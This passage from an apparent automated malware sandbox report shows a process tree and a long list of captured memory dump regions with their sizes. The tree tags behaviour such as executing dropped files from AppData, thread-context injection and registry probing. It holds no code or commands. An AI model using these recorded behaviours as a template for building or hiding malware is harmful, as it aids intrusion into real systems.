                                                                • Program crash
                                                                • Checks processor information in registry
                                                                • Enumerates system info in registry
                                                                PID:4016
                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                              1⤵
                                                              • Modifies registry class
                                                              PID:4144
                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                              1⤵
                                                              • Modifies registry class
                                                              PID:248
                                                            • C:\Users\Admin\AppData\Roaming\hhthiwj
                                                              C:\Users\Admin\AppData\Roaming\hhthiwj
                                                              1⤵
                                                              • Executes dropped EXE
                                                              • Suspicious use of SetThreadContext
                                                              PID:3112
                                                              • C:\Users\Admin\AppData\Roaming\hhthiwj
                                                                C:\Users\Admin\AppData\Roaming\hhthiwj
                                                                2⤵
                                                                • Executes dropped EXE
                                                                • Loads dropped DLL
                                                                • Checks SCSI registry key(s)
                                                                PID:1760
                                                            • C:\Users\Admin\AppData\Roaming\huthiwj
                                                              C:\Users\Admin\AppData\Roaming\huthiwj
                                                              1⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              • Checks SCSI registry key(s)
                                                              PID:4840
                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                              1⤵
                                                              • Modifies registry class
                                                              PID:5040
                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                              1⤵
                                                              • Modifies registry class
                                                              PID:4264

                                                            Network

                                                            MITRE ATT&CK Enterprise v6

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • memory/200-114-0x0000000000400000-0x000000000040C000-memory.dmp

                                                              Filesize

                                                              48KB

                                                            • memory/636-176-0x00000000004F0000-0x00000000004FC000-memory.dmp

                                                              Filesize

                                                              48KB

                                                            • memory/636-175-0x0000000000500000-0x0000000000506000-memory.dmp

                                                              Filesize

                                                              24KB

                                                            • memory/648-241-0x0000000000470000-0x0000000000483000-memory.dmp

                                                              Filesize

                                                              76KB

                                                            • memory/648-242-0x0000000000400000-0x0000000000451000-memory.dmp

                                                              Filesize

                                                              324KB

                                                            • memory/1000-117-0x00000000004B0000-0x00000000004BC000-memory.dmp

                                                              Filesize

                                                              48KB

                                                            • memory/1016-179-0x0000000000AF0000-0x0000000000AF9000-memory.dmp

                                                              Filesize

                                                              36KB

                                                            • memory/1016-178-0x0000000000B00000-0x0000000000B04000-memory.dmp

                                                              Filesize

                                                              16KB

                                                            • memory/1200-221-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/1224-220-0x0000000000400000-0x0000000000420000-memory.dmp

                                                              Filesize

                                                              128KB

                                                            • memory/1440-182-0x0000000000940000-0x0000000000949000-memory.dmp

                                                              Filesize

                                                              36KB

                                                            • memory/1440-181-0x0000000000950000-0x0000000000955000-memory.dmp

                                                              Filesize

                                                              20KB

                                                            • memory/1548-133-0x0000000002100000-0x0000000002191000-memory.dmp

                                                              Filesize

                                                              580KB

                                                            • memory/1640-150-0x00000000004C0000-0x00000000004C7000-memory.dmp

                                                              Filesize

                                                              28KB

                                                            • memory/1640-151-0x00000000004B0000-0x00000000004BB000-memory.dmp

                                                              Filesize

                                                              44KB

                                                            • memory/1784-309-0x00000000015B0000-0x00000000015B2000-memory.dmp

                                                              Filesize

                                                              8KB

                                                            • memory/1956-362-0x00000245F7000000-0x00000245F7010000-memory.dmp

                                                              Filesize

                                                              64KB

                                                            • memory/2144-159-0x0000000000400000-0x0000000000452000-memory.dmp

                                                              Filesize

                                                              328KB

                                                            • memory/2144-158-0x0000000000540000-0x0000000000549000-memory.dmp

                                                              Filesize

                                                              36KB

                                                            • memory/2180-118-0x0000000001160000-0x0000000001177000-memory.dmp

                                                              Filesize

                                                              92KB

                                                            • memory/2180-186-0x0000000001180000-0x0000000001196000-memory.dmp

                                                              Filesize

                                                              88KB

                                                            • memory/2292-161-0x00000000003C0000-0x00000000003C9000-memory.dmp

                                                              Filesize

                                                              36KB

                                                            • memory/2292-160-0x00000000003D0000-0x00000000003D5000-memory.dmp

                                                              Filesize

                                                              20KB

                                                            • memory/2332-168-0x0000000005DB0000-0x0000000005DB1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2332-162-0x0000000000400000-0x000000000041E000-memory.dmp

                                                              Filesize

                                                              120KB

                                                            • memory/2332-170-0x0000000005860000-0x0000000005861000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2332-169-0x0000000005800000-0x0000000005801000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2332-174-0x00000000057A0000-0x0000000005DA6000-memory.dmp

                                                              Filesize

                                                              6.0MB

                                                            • memory/2332-173-0x0000000005B20000-0x0000000005B21000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2332-171-0x00000000058A0000-0x00000000058A1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2476-301-0x0000000000400000-0x0000000000417000-memory.dmp

                                                              Filesize

                                                              92KB

                                                            • memory/2512-154-0x0000000000DC0000-0x0000000000DCF000-memory.dmp

                                                              Filesize

                                                              60KB

                                                            • memory/2512-153-0x0000000000DD0000-0x0000000000DD9000-memory.dmp

                                                              Filesize

                                                              36KB

                                                            • memory/2552-212-0x00000000055E0000-0x0000000005695000-memory.dmp

                                                              Filesize

                                                              724KB

                                                            • memory/2552-210-0x0000000003480000-0x0000000003481000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2552-224-0x0000000005750000-0x00000000057EB000-memory.dmp

                                                              Filesize

                                                              620KB

                                                            • memory/2552-211-0x0000000005430000-0x0000000005520000-memory.dmp

                                                              Filesize

                                                              960KB

                                                            • memory/2552-222-0x00000000056A0000-0x000000000574E000-memory.dmp

                                                              Filesize

                                                              696KB

                                                            • memory/2616-129-0x0000000000400000-0x0000000000492000-memory.dmp

                                                              Filesize

                                                              584KB

                                                            • memory/2616-128-0x0000000000550000-0x000000000069A000-memory.dmp

                                                              Filesize

                                                              1.3MB

                                                            • memory/2644-255-0x0000000000630000-0x0000000000645000-memory.dmp

                                                              Filesize

                                                              84KB

                                                            • memory/2644-282-0x00000000008D0000-0x00000000008D6000-memory.dmp

                                                              Filesize

                                                              24KB

                                                            • memory/2644-280-0x0000000004450000-0x000000000465F000-memory.dmp

                                                              Filesize

                                                              2.1MB

                                                            • memory/2700-277-0x0000000006C80000-0x0000000006C81000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2700-261-0x0000000004BF0000-0x0000000004BF1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2700-271-0x0000000004BE2000-0x0000000004BE3000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2700-272-0x0000000004BE3000-0x0000000004BE4000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2700-273-0x0000000004BE4000-0x0000000004BE6000-memory.dmp

                                                              Filesize

                                                              8KB

                                                            • memory/2700-274-0x0000000006460000-0x0000000006461000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2700-275-0x0000000006630000-0x0000000006631000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2700-267-0x00000000005A0000-0x00000000006EA000-memory.dmp

                                                              Filesize

                                                              1.3MB

                                                            • memory/2700-278-0x0000000006E70000-0x0000000006E71000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2700-260-0x0000000002380000-0x000000000239B000-memory.dmp

                                                              Filesize

                                                              108KB

                                                            • memory/2700-268-0x0000000000400000-0x0000000000470000-memory.dmp

                                                              Filesize

                                                              448KB

                                                            • memory/2700-262-0x0000000002530000-0x0000000002549000-memory.dmp

                                                              Filesize

                                                              100KB

                                                            • memory/2700-270-0x0000000004BE0000-0x0000000004BE1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2704-239-0x0000000000400000-0x0000000000D41000-memory.dmp

                                                              Filesize

                                                              9.3MB

                                                            • memory/2704-238-0x0000000002E60000-0x0000000003786000-memory.dmp

                                                              Filesize

                                                              9.1MB

                                                            • memory/3088-259-0x0000000000400000-0x0000000000451000-memory.dmp

                                                              Filesize

                                                              324KB

                                                            • memory/3100-185-0x0000000000BD0000-0x0000000000BD9000-memory.dmp

                                                              Filesize

                                                              36KB

                                                            • memory/3100-184-0x0000000000BE0000-0x0000000000BE5000-memory.dmp

                                                              Filesize

                                                              20KB

                                                            • memory/3176-348-0x0000000000460000-0x00000000005AA000-memory.dmp

                                                              Filesize

                                                              1.3MB

                                                            • memory/3492-143-0x0000000000630000-0x000000000069B000-memory.dmp

                                                              Filesize

                                                              428KB

                                                            • memory/3492-142-0x00000000006A0000-0x0000000000714000-memory.dmp

                                                              Filesize

                                                              464KB

                                                            • memory/3524-302-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/3752-333-0x00000000024F0000-0x00000000024F2000-memory.dmp

                                                              Filesize

                                                              8KB

                                                            • memory/3752-334-0x00000000024F2000-0x00000000024F4000-memory.dmp

                                                              Filesize

                                                              8KB

                                                            • memory/3752-335-0x00000000024F4000-0x00000000024F5000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/3752-336-0x00000000024F5000-0x00000000024F6000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/3824-284-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                                                              Filesize

                                                              964KB

                                                            • memory/3824-289-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                                                              Filesize

                                                              964KB

                                                            • memory/3912-145-0x0000000004AF0000-0x0000000004AF1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/3912-137-0x0000000000100000-0x0000000000101000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/3912-141-0x0000000002410000-0x0000000002411000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/3912-148-0x0000000004AA0000-0x0000000004AD3000-memory.dmp

                                                              Filesize

                                                              204KB

                                                            • memory/3912-140-0x0000000004A20000-0x0000000004A21000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/4028-325-0x0000000002B20000-0x0000000002B21000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/4028-324-0x0000000006110000-0x0000000006161000-memory.dmp

                                                              Filesize

                                                              324KB

                                                            • memory/4028-331-0x0000000002B25000-0x0000000002B27000-memory.dmp

                                                              Filesize

                                                              8KB

                                                            • memory/4028-329-0x0000000002B21000-0x0000000002B22000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/4028-328-0x0000000006111000-0x0000000006153000-memory.dmp

                                                              Filesize

                                                              264KB

                                                            • memory/4028-327-0x000000006AB00000-0x000000006AD71000-memory.dmp

                                                              Filesize

                                                              2.4MB

                                                            • memory/4028-326-0x0000000065EC0000-0x0000000067271000-memory.dmp

                                                              Filesize

                                                              19.7MB

                                                            • memory/4028-330-0x0000000002B22000-0x0000000002B23000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/4044-228-0x00000000030A0000-0x00000000030A2000-memory.dmp

                                                              Filesize

                                                              8KB

                                                            • memory/4072-146-0x0000000000780000-0x0000000000787000-memory.dmp

                                                              Filesize

                                                              28KB

                                                            • memory/4072-147-0x0000000000770000-0x000000000077C000-memory.dmp

                                                              Filesize

                                                              48KB

                                                            • memory/4128-344-0x00000160CB630000-0x00000160CB631000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/4128-345-0x00000160CB690000-0x00000160CB691000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/4128-343-0x00000160CB620000-0x00000160CB621000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/4364-346-0x0000000000400000-0x000000000040C000-memory.dmp

                                                              Filesize

                                                              48KB

                                                            • memory/4668-349-0x00000186ADD10000-0x00000186ADD11000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/5040-436-0x000001CD25780000-0x000001CD25782000-memory.dmp

                                                              Filesize

                                                              8KB